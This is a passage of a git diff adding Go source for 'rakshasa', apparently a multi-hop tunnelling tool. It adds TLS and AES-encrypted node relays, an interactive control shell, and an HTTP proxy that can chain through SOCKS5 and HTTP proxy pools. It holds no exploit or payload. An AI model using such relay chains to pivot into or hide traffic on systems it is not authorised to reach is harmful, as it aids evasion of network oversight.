func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,使用方法 ping 服务器地址") + return + } + var err error + n, err := getNode(c.Args[0]) + if err != nil { + c.Println("无法连接节点", c.Args[0]) + return + } + + be := time.Now() + + resChan := make(chan interface{}, 1) + id := n.storeQuery(resChan) + go n.ping(id) + select { + case <-resChan: + n.deleteQuery(id) + c.Println("ping", n.uuid, time.Since(be)) + case <-time.After(common.CMD_TIMEOUT): + n.deleteQuery(id) + c.Println("ping time out") + } + }, + }) + shell.AddCmd(&ishell.Cmd{ + Name: "new", + Help: "与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,使用方法 connect ip:端口") + return + } + for _, addr := range strings.Split(c.Args[0], ",") { + _, err := connectNew(addr) + if err != nil { + c.Println("连接", addr, "失败", err) + return + } + } + }, + }) + shell.AddCmd(&ishell.Cmd{ + Name: "print", + + Help: "列出所有节点", + Func: func(c *ishell.Context) { + + printNodes(c) + }, + }) + if common.Debug { + shell.AddCmd(&ishell.Cmd{ + Name: "printConn", + Help: "列出所有链接", + Func: func(c *ishell.Context) { + printConn() + }, + }) + shell.AddCmd(&ishell.Cmd{ + Name: "printLock", + Help: "列出所有锁", + Func: func(c *ishell.Context) { + printLock() + }, + }) + shell.AddCmd(&ishell.Cmd{ + Name: "delete", + Help: "sync.Map删除一个node ID", + Func: func(c *ishell.Context) { + l := clientLock.Lock() + defer l.Unlock() + if len(c.Args) != 1 { + c.Println("参数不对") + return + } + n, ok := nodeMap[c.Args[0]] + if ok { + n.Delete("") + } + + }, + }) + } + return shell +} diff --git a/server/config.go b/server/config.go new file mode 100644 index 0000000..574a6a6 --- /dev/null +++ b/server/config.go @@ -0,0 +1,42 @@ +package server + +import ( + "gopkg.in/yaml.v3" + "io/ioutil" + "rakshasa/common" +) + +var currentConfig common.Config + +func SetConfig(config common.Config) { + currentConfig = config + currentConfig.FileSave = false + currentNode.mainIp = currentConfig.ListenIp + currentNode.port = currentConfig.Port +} +func ConfigSave() error { + b, _ := yaml.Marshal(currentConfig) + err := ioutil.WriteFile(currentConfig.FileName, b, 0666) + if err == nil { + currentConfig.FileSave = true + } + return err +} +func ConfigLoad(filename string) error { + b, err := ioutil.ReadFile(filename) + if err == nil { + var config common.Config + err = yaml.Unmarshal(b, &config) + if err == nil { + + currentConfig = config + currentConfig.FileSave = true + } + } + + return err +} +func GetConfig() common.Config { + + return currentConfig +} diff --git a/server/conn.go b/server/conn.go new file mode 100644 index 0000000..4257642 --- /dev/null +++ b/server/conn.go @@ -0,0 +1,743 @@ +package server + +import ( + "bytes" + "crypto/tls" + "encoding/json" + "fmt" + "hash/crc32" + "io" + "net" + "net/url" + "os" + "rakshasa/aes" + "rakshasa/cert" + "rakshasa/common" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" +) + +var ( + bufPool = &sync.Pool{ + New: func() interface{} { + return &bytes.Buffer{} + }, + } + closeChan = make(chan *bytes.Buffer, 1) //用于接收已关闭消息的黑洞chan +) + +// 节点的连接,包含listen来的和主动connect的 +type Conn struct { + closeTag int32 + node *node + nodeaddr string + //key string + remoteAddr string + inChan chan func() + OutChan chan []byte + close chan string + isClient bool + nodeConn *tls.Conn + regResult chan error + regResultNode chan *node +} + +type serverListen struct { + close int32 + node *node + listen net.Listener + isSocks5 bool + socks5Replay []byte + replayid uint32 + id uint32 + connMap sync.Map +} +type serverConnect struct { + close int32 + id uint32 + windowsSize int64 + conn net.Conn + node *node + address string + + write chan *bytes.Buffer + + wait chan int + closeReason string +} + +// 中转与最终出口 +func StartServer(port int) error { + config := cert.Tlsconfig.Clone() + fmt.Println("start on port:", port) + + l, err := tls.Listen("tcp", ":"+strconv.Itoa(port), config) + if err != nil { + return fmt.Errorf("server start fail %v", err) + } + currentNode.listen = l + go func() { + for { + conn, err := l.Accept() + if err != nil { + if err.(*net.OpError).Err == net.ErrClosed { + return + } + continue + } + + //封装一个符合common.server接口的server + + c := &Conn{ + nodeConn: conn.(*tls.Conn), + remoteAddr: conn.RemoteAddr().String(), + } + connMap.Store(c.remoteAddr, conn) + go c.handlerNodeRead() + go c.handle() + } + }() + return nil +} +func init() { + go func() { + for b := range closeChan { + b.Reset() + bufPool.Put(b) + } + + }() +} + +func (conn *serverConnect) Close(reason string) { + if atomic.CompareAndSwapInt32(&conn.close, 0, 1) { + go func() { + if conn.conn != nil { + conn.conn.Close() + } + //fmt.Println(conn.fd, reason) + conn.node.connMap.Delete(conn.id) + conn.closeReason = reason + conn.node.listenMap.Range(func(key, value interface{}) bool { + value.(*serverListen).connMap.Delete(conn.id) + return true + }) + if reason != remoteClose { + conn.node.Write(common.CMD_DELETE_CONNID, conn.id, nil) + } + + select { + case conn.wait <- common.CONN_STATUS_CLOSE: + case <-time.After(time.Second * 10): + } + conn.write <- nil + conn.write = closeChan + + }() + } +} +func (c *Conn) Close(reason string) { + + c.close <- reason + +} + +func (conn *serverConnect) handTcpReceive() { + go func() { + for b := range conn.write { + if b == nil { + conn.write = closeChan + return + } + if _, err := conn.conn.Write(b.Bytes()); err != nil { + conn.Close(err.Error()) + } + b.Reset() + bufPool.Put(b) + } + }() + var err error + var n int + defer func() { + + if err != nil { + conn.Close(conn.address + " 读取出错" + err.Error()) + } else { + conn.Close(conn.address + " read异常关闭") + } + + }() + + buf := make([]byte, common.MAX_PLAINTEXT) + + for conn.close == 0 { + conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE)) + n, err = conn.conn.Read(buf) + if err != nil { + if atomic.LoadInt32(&conn.close) == 0 { + if e := err.Error(); !strings.Contains(e, ": i/o timeout") { + + return + } + continue + } else { + return + } + } + data := make([]byte, n) + copy(data, buf) + if common.Debug { + + fmt.Println("发送", crc32.ChecksumIEEE(data), n) + } + conn.node.Write(common.CMD_CONN_MSG, conn.id, data) + + atomic.AddInt64(&conn.windowsSize, -1*int64(n)) + + for atomic.LoadInt64(&conn.windowsSize) <= 0 && conn.close == 0 { + + select { + case flag := <-conn.wait: + if flag == common.CONN_STATUS_CLOSE { + return + } + case <-time.After(time.Second): + } + } + } + +} +func (conn *serverConnect) Write(data []byte) { + data = data[1:] + windows_update_size := int64(data[0]) | int64(data[1])<<8 | int64(data[2])<<16 | int64(data[3])<<24 | int64(data[4])<<32 | int64(data[5])<<40 | int64(data[6])<<48 | int64(data[7])<<56 + + if windows_update_size != 0 { + + old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size + if old < 0 { + go func() { + select { + case conn.wait <- common.CONN_STATUS_OK: + case <-time.After(time.Second): + } + }() + } + } + if common.Debug { + + fmt.Println("收到", crc32.ChecksumIEEE(data[8:]), len(data[8:])) + } + b := bufPool.Get().(*bytes.Buffer) + b.Reset() + b.Write(data[8:]) + conn.write <- b +} +func (conn *serverConnect) handUdpReceive() { + + var err error + var n int + defer func() { + + if err != nil { + conn.Close(conn.address + " 网站读取出错" + err.Error()) + } else { + conn.Close(conn.address + " read异常关闭") + } + + }() + + buf := make([]byte, common.MAX_PLAINTEXT) + + for conn.close == 0 { + conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE)) + n, err = conn.conn.Read(buf) + if err != nil { + if atomic.LoadInt32(&conn.close) == 0 { + if e := err.Error(); !strings.Contains(e, ": i/o timeout") { + + return + } + continue + } else { + return + } + } + + b := make([]byte, n) + copy(b, buf) + conn.node.Write(common.CMD_CONN_UDP_MSG, conn.id, b) + + } + +} + +func (conn *serverConnect) doConnectTcp(network common.NetWork, addr string) { + + netconn, err := net.DialTimeout("tcp", addr, time.Second*30) + if err != nil { + buf := make([]byte, 2) + buf[0] = byte(network) + buf[1] = 0 + conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf) + conn.Close("fd拨号失败") + return + } else { + buf := make([]byte, 2) + buf[0] = byte(network) + buf[1] = 1 + conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf) + if conn.close == 0 { + conn.conn = netconn + go conn.handTcpReceive() + + } + + } +} +func (conn *serverConnect) doConnectTcpWithHttpProxy(network common.NetWork, addr string) { + writeResult := func(res bool) { + buf := make([]byte, 2) + buf[0] = byte(network) + buf[1] = 0 + if res { + buf[1] = 1 + } + conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf) + } + + if i := strings.IndexByte(addr, 32); i > -1 { + cfg, err := common.ParseAddr(addr[i+1:]) + if err != nil { + writeResult(false) + conn.Close("地址解析失败") + return + } + netconn, err := net.DialTimeout("tcp", cfg.Addr(), time.Second*2) + if err != nil { + writeResult(false) + conn.Close("fd拨号失败") + return + } else { + netconn.SetDeadline(time.Now().Add(time.Second * 30)) + netconn.SetWriteDeadline(time.Now().Add(time.Second * 30)) + switch cfg.Scheam() { + case "", "http://": + //请求代理 + data := fmt.Sprintf("CONNECT %s HTTP/1.1\r\nHost: %s\r\nProxy-Connection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\r\n", addr[:i], addr[:i]) + if cfg.GetHttpAuthorizationHeader() != "" { + data += cfg.GetHttpAuthorizationHeader() + "\r\n\r\n" + } else { + data += "\r\n" + } + _, err = netconn.Write([]byte(data)) + if err != nil { + writeResult(false) + conn.Close("http代理发送消息失败") + return + } + var resdata []byte + var result [8192]byte + var req = &http1request{} + for { + n, err := netconn.Read(result[:]) + if err != nil { + writeResult(false) + conn.Close("读取http代理结果失败") + return + } + resdata = append(resdata, result[:n]...) + l, _, err := parsereq(req, resdata) + if err != nil { + return + } else if l > 0 { + break + } + + } + if req.Status == "200 Connection established" { + writeResult(true) + if conn.close == 0 { + conn.conn = netconn + go conn.handTcpReceive() + + } + } else { + writeResult(false) + conn.Close("http代理连接失败") + } + writeResult(true) + case "socks5://": + _, err = netconn.Write([]byte{5, 1, 2}) + if err != nil { + writeResult(false) + conn.Close("socks5代理发送消息失败") + return + } + var result [8192]byte + + n, err := netconn.Read(result[:]) + if err != nil { + writeResult(false) + conn.Close("读取socks5数据出错") + return + } + + if string(result[:n]) == string([]byte{5, 2}) { //需要认证 + user, password := cfg.User(), cfg.Password() + if user == "" && password == "" { + writeResult(false) + conn.Close("socks5需要验证") + return + } + + data := make([]byte, (3 + len(user) + len(password))) + data[0] = 5 + data[1] = byte(len(user)) + copy(data[2:], user) + data[2+len(user)] = byte(len(password)) + copy(data[3+len(user):], password) + netconn.Write(data) + n, err = netconn.Read(result[:]) + if err != nil || string(result[:n]) != string([]byte{5, 0}) { + writeResult(false) + conn.Close("密码校验不通过") + return + } + } + + data := []byte{5, 1, 0, 1} + if u, err := url.ParseRequestURI(addr[:i]); err == nil { + data[3] = 3 + data = append(data, byte(len(u.Scheme))) + data = append(data, u.Scheme...) + p, _ := strconv.Atoi(u.Opaque) + port := []byte{byte(p >> 8), byte(p)} + data = append(data, port...) + } else if tcp4, err := net.ResolveTCPAddr("tcp4", addr[:i]); err == nil { + data[3] = 1 + data = append(data, tcp4.IP.String()...) + port := []byte{byte(tcp4.Port), byte(tcp4.Port >> 8)} + data = append(data, port...) + } else if tcp6, err := net.ResolveTCPAddr("tcp6", addr[:i]); err == nil { + data[3] = 4 + data = append(data, tcp6.IP.String()...) + port := []byte{byte(tcp6.Port), byte(tcp6.Port >> 8)} + data = append(data, port...) + } + netconn.Write(data) + n, _ = netconn.Read(result[:]) + if n >= 2 && string(result[:2]) == string([]byte{5, 0}) { + writeResult(true) + if conn.close == 0 { + conn.conn = netconn + go conn.handTcpReceive() + + } + } else { + writeResult(false) + conn.Close("socks5连接失败") + } + + default: + writeResult(false) + conn.Close("不支持的代理协议") + } + + } + } else { + writeResult(false) + conn.Close("无法获取代理地址") + + } + +} + +func (conn *serverConnect) doHandleUdp() { + for b := range conn.write { + if b == nil { + conn.write = closeChan + return + } + + conn.conn.Write(b.Bytes()) + b.Reset() + bufPool.Put(b) + } +} + +var broadcastMap sync.Map //广播帧防止重复处理 +func (c *Conn) handlerNodeRead() { + var err error + defer func() { + c.nodeConn.Close() + c.Close("read错误" + err.Error()) + + }() + + lengbuf := make([]byte, 2) + for { + _, err = io.ReadFull(c.nodeConn, lengbuf) + if err != nil { + if strings.Contains(err.Error(), "i/o timeout") { + continue + } + return + } + + buf := make([]byte, int(lengbuf[0])+int(lengbuf[1])<<8) + _, err = io.ReadFull(c.nodeConn, buf) + b := aes.AesCtrDecrypt(buf) + msg := common.UnmarshalMsg(b) + if common.Debug { + fmt.Println("fromto", msg.From, msg.To, common.CmdToName[msg.CmdOpteion]) + } + + if msg.To == common.NoneUUID.String() && c.node == nil { + c.inChan <- func() { + newNode := &node{ + conn: c, + } + newNode.do(msg) + } + } else if msg.To == currentNode.uuid { + func() { + l := clientLock.RLock() + v, ok := nodeMap[msg.From] + l.RUnlock() + if ok && v.port > 0 { + c.inChan <- func() { + v.do(msg) + } + } else { + l := clientLock.Lock() + v, ok := nodeMap[msg.From] + if !ok { + newNode := &node{ + uuid: msg.From, + conn: c, + waitMsg: []*common.Msg{msg}, + } + result := make(chan interface{}, 1) + id := newNode.storeQuery(result) + nodeMap[msg.From] = newNode + l.Unlock() + newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息 + go func() { + defer newNode.deleteQuery(id) + select { + case res := <-result: + if res == nil { + + for _, m := range newNode.waitMsg { + c.inChan <- func() { + newNode.do(m) + } + } + } + case <-time.After(common.CMD_TIMEOUT): + newNode.Delete("超时") + } + }() + + } else { + + if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT { + + var res chan interface{} + if _v, ok := v.loadQuery(msg.CmdId); !ok { + return + } else { + res = _v + } + + var nmsg nodeMsg + err = json.Unmarshal(msg.CmdData, &nmsg) + if err != nil { + res <- err + return + } + + v.hostName = nmsg.HostName + v.uuid = nmsg.UUID + v.port = nmsg.Port + v.mainIp = nmsg.MainIp + v.goos = nmsg.Goos + if nmsg.Addr != "" { + v.addr = nmsg.Addr + } + res <- nil + } else { + v.waitMsg = append(v.waitMsg, msg) + } + + l.Unlock() + } + + } + }() + + } else { + + key := msg.From + "_" + strconv.Itoa(int(msg.MsgId)) + msg.Ttl++ + if _, ok := broadcastMap.LoadOrStore(key, struct{}{}); !ok { + + if msg.From != currentNode.uuid && msg.To == common.BroadcastUUID.String() && msg.Ttl < 250 { //广播 + go allNodesDo(func(_n *node) (bool, error) { + if _n.uuid != currentNode.uuid { + _n.WriteMsg(msg) + } + return true, nil + }) + newNode := &node{ + conn: c, + } + c.inChan <- func() { + newNode.do(msg) + } + } else { + c.WriteToUUID(msg) + } + time.AfterFunc(time.Hour, func() { + broadcastMap.Delete(key) + }) + + } + + } + + } +} + +func (c *Conn) handle() { + c.OutChan = make(chan []byte, 64) + c.inChan = make(chan func()) + + c.close = make(chan string, 999) + + go func() { + for { + select { + case f := <-c.inChan: + f() + //c.do(b) + case b := <-c.OutChan: + + if c.closeTag == 0 { + c.tlsWrite(b) + //var err error + for i := 0; i < len(c.OutChan); i++ { + + c.tlsWrite(<-c.OutChan) + } + } + + case reason := <-c.close: + c.OutChan = upNodeWrite + if c.node != nil && c.node.nextPingTime > time.Now().Unix()+5 { + c.node.ping(0) + c.node.nextPingTime = time.Now().Unix() + 5 + } + func() { //返回false则退出handle + connMap.Delete(c.remoteAddr) + l := clientLock.Lock() + defer func() { + l.Unlock() + }() + + if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) { + if common.Debug { + fmt.Println(c.nodeConn.RemoteAddr().String(), "关闭原因", reason) + } + if c.nodeConn != nil { + + c.nodeConn.Close() + } + + if c.node != nil { + //移除上游连接 + for i := len(upLevelNode) - 1; i >= 0; i-- { + n := upLevelNode[i] + if n.uuid == c.node.uuid { + upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...) + } + } + } + + } + + return + }() + return + } + } + }() + +} +func (c *Conn) reg() error { + + if c.nodeConn != nil { + c.nodeConn.Close() + } + + var err error + + c.nodeConn, err = tls.Dial("tcp", c.nodeaddr, cert.Tlsconfig.Clone()) + if err != nil { + return err + } + + reg := common.RegMsg{ + RegAddr: c.nodeaddr, + Addr: currentNode.addr, + UUID: currentNode.uuid, + MainIp: currentNode.mainIp, + Port: currentNode.port, + Goos: currentNode.goos, + } + reg.Hostname, _ = os.Hostname() + + regb, _ := json.Marshal(reg) + msg := common.Msg{ + From: currentNode.uuid, + To: common.NoneUUID.String(), + CmdOpteion: common.CMD_REG, + CmdData: regb, + } + + if err = c.tlsWrite(msg.Marshal()); err != nil { + return err + } + go c.handlerNodeRead() + return nil +} +func (c *Conn) WriteToUUID(msg *common.Msg) { + + l := clientLock.RLock() + defer l.RUnlock() + + if n, ok := nodeMap[msg.To]; ok { + n.WriteMsg(msg) + } +} + +func (c *Conn) Write(b []byte) { + + c.OutChan <- b +} + +func (c *Conn) tlsWrite(b []byte) error { + c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE)) + n, err := c.nodeConn.Write(b) + if common.Debug { + fmt.Println("tlsWrite发送", n) + } + if err != nil { + c.Close("Write " + err.Error()) + upNodeWrite <- b + } + return err +} diff --git a/server/http_proxy.go b/server/http_proxy.go new file mode 100644 index 0000000..0662bec --- /dev/null +++ b/server/http_proxy.go @@ -0,0 +1,605 @@ +package server + +import ( + "bytes" + "fmt" + "hash/crc32" + "log" + "net" + "net/url" + "os" + "rakshasa/common" + "rakshasa/httppool" + "runtime/debug" + "strconv" + "strings" + "sync" + "sync/atomic" + + "github.com/luyu6056/ishell" +) + +const CheckProxyUrl = "https://myip.fireflysoft.net/" + +type httpProxyClient struct { + windowsSize int64 + isclose int32 + conn net.Conn + udpconn net.Conn + + remote int32 + server *node + id uint32 + wait chan int + close string + + udpMap sync.Map + listenId uint32 + localAddr string + isConnect bool + method string + cfg *common.Addr + pool *httppool.HttpPool + remoteAddr string + remotePort string +} + +func (s *httpProxyClient) Write(b []byte) { + + switch b[0] { + + case common.CMD_CONNECT_BYIDADDR_RESULT: + + switch common.NetWork(b[1]) { + + case common.RAW_TCP: + if b[2] != 1 { + go func() { s.Close("") }() + } else if s.method == "CONNECT" { + s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n")) + } + case common.RAW_TCP_WITH_PROXY: + + if b[2] != 1 { + //重新拉取一个池 + s.connect() + } else if s.method == "CONNECT" { + s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n")) + } + default: + log.Println("未处理") + } + + case common.CMD_CONN_MSG: + if common.Debug { + + fmt.Println("收到", crc32.ChecksumIEEE(b[1:]), len(b[1:])) + } + s.conn.Write(b[1:]) + s.Addwindow(int64(-len(b[1:]))) + default: + log.Println("未处理") + } + +} + +func (s *httpProxyClient) Close(msg string) { + if atomic.CompareAndSwapInt32(&s.isclose, 0, 1) { + + <-s.wait + s.wait <- common.CONN_STATUS_CLOSE + + s.server.connMap.Delete(s.id) + + if msg == "" { + msg = "未知关闭" + } + s.close = msg + if msg == remoteClose { + s.remote = CONN_REMOTE_CLOSE + } else if s.remote == CONN_REMOTE_OPEN { + s.remote = CONN_REMOTE_CLOSE + s.Remoteclose() + } + if common.Debug { + fmt.Println("close 原因", msg) + } + s.conn.Close() + if s.udpconn != nil { + s.udpconn.Close() + } + s.udpMap.Range(func(k, _ interface{}) bool { + s.udpMap.Delete(k) + return true + }) + } + +} +func (s *httpProxyClient) Addwindow(window int64) { + + windows_size := atomic.AddInt64(&s.windowsSize, window) + windows_update_size := int64(common.INIT_WINDOWS_SIZE) + + if windows_size < windows_update_size/2 { //扩大窗口 + if size := windows_update_size - s.windowsSize; size > 0 { + atomic.AddInt64(&s.windowsSize, size) + + go func() { + buf := make([]byte, 8) + buf[0] = byte(size & 255) + buf[1] = byte(size >> 8 & 255) + buf[2] = byte(size >> 16 & 255) + buf[3] = byte(size >> 24 & 255) + buf[4] = byte(size >> 32 & 255) + buf[5] = byte(size >> 40 & 255) + buf[6] = byte(size >> 48 & 255) + buf[7] = byte(size >> 56 & 255) + s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf) + }() + } + } +} + +func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error { + var pool *httppool.HttpPool + var err error + if poolfile != "" { + pool, err = httppool.HttpPoolInit(poolfile) + if err != nil { + return err + } + } + var target *node + + if len(dst) == 0 { + target = currentNode + } else { + target, err = GetNodeFromAddrs(dst) + if err != nil { + return err + } + } + + l := &clientListen{ + server: target, + localAddr: cfg.Addr(), + id: common.GetID(), + typ: "http", + } + l.listen, err = StartHttpProxyWithServer(cfg, target, l.id, pool) + if err != nil { + + return err + } + + currentNode.listenMap.Store(l.id, l) + return nil +} +func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppool.HttpPool) (net.Listener, error) { + l, err := net.Listen("tcp", cfg.Addr()) + if err != nil { + return nil, err + } + + fmt.Println("httpproxy start ", cfg.Addr()) + go func() { + for { + conn, err := l.Accept() + if err != nil { + if err.(*net.OpError).Err == net.ErrClosed { + return + } + continue + } + + s := &httpProxyClient{ + cfg: cfg, + conn: conn, + server: n, + listenId: id, + pool: pool, + } + + go handleHttpProxyLocal(s) + + } + }() + return l, nil +} +func (s *httpProxyClient) OnOpened() (close bool) { + s.wait = make(chan int, 1) + s.remote = CONN_REMOTE_OPEN + s.windowsSize = 0 + s.wait <- common.CONN_STATUS_OK + + return +} + +// 监听本地服务 +func handleHttpProxyLocal(s *httpProxyClient) { + defer func() { + if err := recover(); err != nil { + fmt.Println(err) + debug.PrintStack() + } + }() + b := make([]byte, common.MAX_PLAINTEXT-8) + if s.OnOpened() { + s.Close("无法获得服务器连接") + } + var data []byte + var req = &http1request{} + for { + n, err := s.conn.Read(b) + if err != nil { + + s.Close(err.Error()) + return + } + data = append(data, b[:n]...) + //尝试读取一个http消息 + l, _, err := parsereq(req, data) + if err != nil { + return + } else if l == 0 { + continue + } + //判断用户名密码 + if s.cfg.GetHttpAuthorizationHeader() != "" { + var authorize bool + for _, herder := range req.header { + + if herder == s.cfg.GetHttpAuthorizationHeader() { + authorize = true + break + } + } + if !authorize { + s.conn.Write([]byte("HTTP/1.0 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm=\"Access to internal site\"\r\nContent-Length: 0\r\n\r\n")) + continue + } + + } + data = data[l:] + switch req.method { + case "GET": + if u, err := url.Parse(req.uri); err == nil { + if i := strings.IndexByte(u.Host, ':'); i > -1 { + s.remoteAddr = u.Host[:i] + s.remotePort = u.Host[i+1:] + } else { + s.remoteAddr = u.Host + s.remotePort = "80" + } + s.connect() + buf := bufPool.Get().(*bytes.Buffer) + buf.Reset() + buf.WriteString("GET ") + buf.WriteString(req.uri) + buf.WriteString(" HTTP/1.1\r\n") + for _, header := range req.header { + buf.WriteString(header) + buf.WriteString("\r\n") + } + buf.WriteString("\r\n") + + s.write2connect(buf.Bytes()) + buf.Reset() + bufPool.Put(buf) + return + } else { + return + } + case "CONNECT": + s.method = "CONNECT" + if i := strings.IndexByte(req.uri, ':'); i > -1 { + s.remoteAddr = req.uri[:i] + s.remotePort = req.uri[i+1:] + s.connect() + } else { + return + } + + for { + n, err = s.conn.Read(b) + if err != nil { + s.Close(err.Error()) + return + } + + s.write2connect(b[:n]) + } + default: + if common.Debug { + fmt.Println("http_proxy 未处理method ", req.method) + } + + } + + } + +} +func (s *httpProxyClient) write2connect(data []byte) { + var new_size int64 + if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口 + atomic.AddInt64(&s.windowsSize, new_size) + + } else { + new_size = 0 + } + outdata := make([]byte, 8) + outdata[0] = byte(new_size) + outdata[1] = byte(new_size >> 8) + outdata[2] = byte(new_size >> 16) + outdata[3] = byte(new_size >> 24) + outdata[4] = byte(new_size >> 32) + outdata[5] = byte(new_size >> 40) + outdata[6] = byte(new_size >> 48) + outdata[7] = byte(new_size >> 56) + if common.Debug { + fmt.Println("发送", crc32.ChecksumIEEE(data), len(data)) + } + s.server.Write(common.CMD_CONN_MSG, s.id, append(outdata, data...)) +} +func (s *httpProxyClient) connect() { + if !s.isConnect { + + buf := make([]byte, 2+len(s.remoteAddr)+len(s.remotePort)) + s.id = s.server.storeConn(s) + buf[0] = byte(common.RAW_TCP) + copy(buf[1:], s.remoteAddr) + buf[1+len(s.remoteAddr)] = ':' + copy(buf[2+len(s.remoteAddr):], s.remotePort) + //添加代理信息 + if s.pool != nil { + proxy := s.pool.Next() + buf[0] = byte(common.RAW_TCP_WITH_PROXY) + buf = append(buf, []byte(" "+proxy.String())...) + } + s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf) + if value, ok := s.server.listenMap.Load(s.listenId); ok { + switch v := value.(type) { + case *serverListen: + v.connMap.Store(s.id, s) + case *clientListen: + v.connMap.Store(s.id, s) + } + } + s.isConnect = true + } + +} + +func (s *httpProxyClient) Remoteclose() { + + s.close = "本地要求远程关闭" + + buf := make([]byte, 4) + buf[0] = byte(s.id) + buf[1] = byte(s.id >> 8) + buf[2] = byte(s.id >> 16) + buf[3] = byte(s.id >> 24) + s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf) + +} +func init() { + + httpShell := cliInit() + httpShell.SetPrompt("rakshasa\\httpproxy>") + httpShell.AddCmd(&ishell.Cmd{ + Name: "list", + Help: "列出当前监听的ID和其他信息", + Func: func(c *ishell.Context) { + var list []*clientListen + currentNode.listenMap.Range(func(key, value interface{}) bool { + if v, ok := value.(*clientListen); ok { + list = append(list, v) + } + return true + }) + orderClientListen(list) + fmt.Println("当前连接数量:", len(list)) + for _, v := range list { + fmt.Println("ID", v.id, "本地端口", v.localAddr, "转发服务器uuid", v.server.uuid) + } + }, + }) + httpShell.AddCmd(&ishell.Cmd{ + Name: "new-httpproxy", + Help: "新建一个httpProxy连接,使用方法 new-httpproxy 配置字串符 目标服务器 代理池文件 如 new-httpproxy admin:123456@0.0.0.0:8080 127.0.0.1:8881,127.0.0.1:8882 out.txt", + Func: func(c *ishell.Context) { + if len(c.Args) < 1 { + c.Println("参数错误,例子 new-httpproxy admin:123456@0.0.0.0:8080 127.0.0.1:1081,127.0.0.1:1082 out.txt") + return + } + cfg, err := common.ParseAddr(c.Args[0]) + if err != nil { + c.Println(err) + return + } + nodes := []string{} + var filename string + if len(c.Args) == 2 { + if _, err := os.ReadFile(c.Args[1]); err == nil { + filename = c.Args[1] + } else { + nodes = strings.Split(c.Args[1], ",") + } + } else if len(c.Args) == 3 { + nodes = strings.Split(c.Args[1], ",") + filename = c.Args[2] + } + if err := StartHttpProxy(cfg, nodes, filename); err != nil { + c.Println("本地httpProxy启动失败", err) + } else { + c.Println("本地httpProxy启动成功") + } + }, + }) + httpShell.AddCmd(&ishell.Cmd{ + Name: "close", + Help: "关闭一个socsk5连接,使用方法 close ID", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,例子 close 1") + return + } + id, _ := strconv.Atoi(c.Args[0]) + var l *clientListen + if value, ok := currentNode.listenMap.Load(uint32(id)); ok { + if v, ok := value.(*clientListen); ok && v.typ == "http" { + l = v + } + + } + if l == nil { + c.Println("没有找到ID为", id, "的连接") + } else { + l.Close("命令行关闭") + l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil) + currentNode.listenMap.Delete(uint32(id)) + + } + }, + }) + rootCli.AddCmd(&ishell.Cmd{ + Name: "httpproxy", + Help: "进入httpProxy功能", + Func: func(c *ishell.Context) { + httpShell.Run() + }, + }) +} + +type kv struct { //kv键值对 + key string + value string +} +type http1request struct { + Status string + + //解析相关 + Proto, method string + path, query, uri string + keep_alive bool + header []string //记录整行 + body []byte + //rawdata []byte + + //输出buffer相关 + //data io.ReadCloser //消息主体 + //dataSize int //dataSize大于-1就输出,所以要放到最后赋值 + //out *tls.MsgBuffer //输出消息用buffer,包含header等信息 + //out1 *tls.MsgBuffer + //流水线控制 + //next *http1request + //num int32 + //alreadyOutHreader bool +} + +func (req *http1request) addheader(line string, j int) { + if line[:j] == "Proxy-Connection" { + req.header = append(req.header, "Connection: "+line[j+2:]) + req.keep_alive = line[j+2:] == "line[j+2:]" + } else { + req.header = append(req.header, line) + } + +} +func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err error) { + + l := len(data) + defer func() { + if e := recover(); e != nil { + err = fmt.Errorf("%+v", e) + debug.PrintStack() + } + + }() + + // method, path, proto line + + req.Proto = "" + var s = 0 + var line string + var firstLine = true + req.body = req.body[:0] + req.header = req.header[:0] + for i, j := 0, 0; j < l; j += i + 2 { + i = bytes.IndexByte(data[j:], 13) + + if i == -1 { + break //跳出循环,判断是否包体过大 + } + + line = string(data[j : j+i]) + if i > 0 { + if firstLine { + var q = -1 + i := strings.IndexByte(line, 32) + if i > -1 { + req.method = line[:i] + line = line[i+1:] + for i, v := range line { + if v == 63 && q == -1 { + q = i + } else if v == 32 { + if q != -1 { + req.path = line[s:q] + req.query = line[q+1 : i] + } else { + req.path = line[s:i] + } + req.uri = line[s:i] + i++ + req.Proto = line[i:] + //判断http返回 + if req.method == "HTTP/1.1" || req.method == "HTTP/1.0" { + /*code, err := strconv.Atoi(req.path) + if err == nil { + //req.Code = code + //req.CodeMsg = req.Proto + }*/ + req.Status = line + req.Proto = req.method + req.method = "" + req.path = "" + } + break + } + } + } + + switch req.Proto { + case "HTTP/1.0": + req.keep_alive = false + case "HTTP/1.1": + req.keep_alive = true + default: + return 0, nil, fmt.Errorf("malformed http1request") + } + firstLine = false + } else { + k := strings.IndexByte(line, 58) + if k > -1 && k < len(line) { + 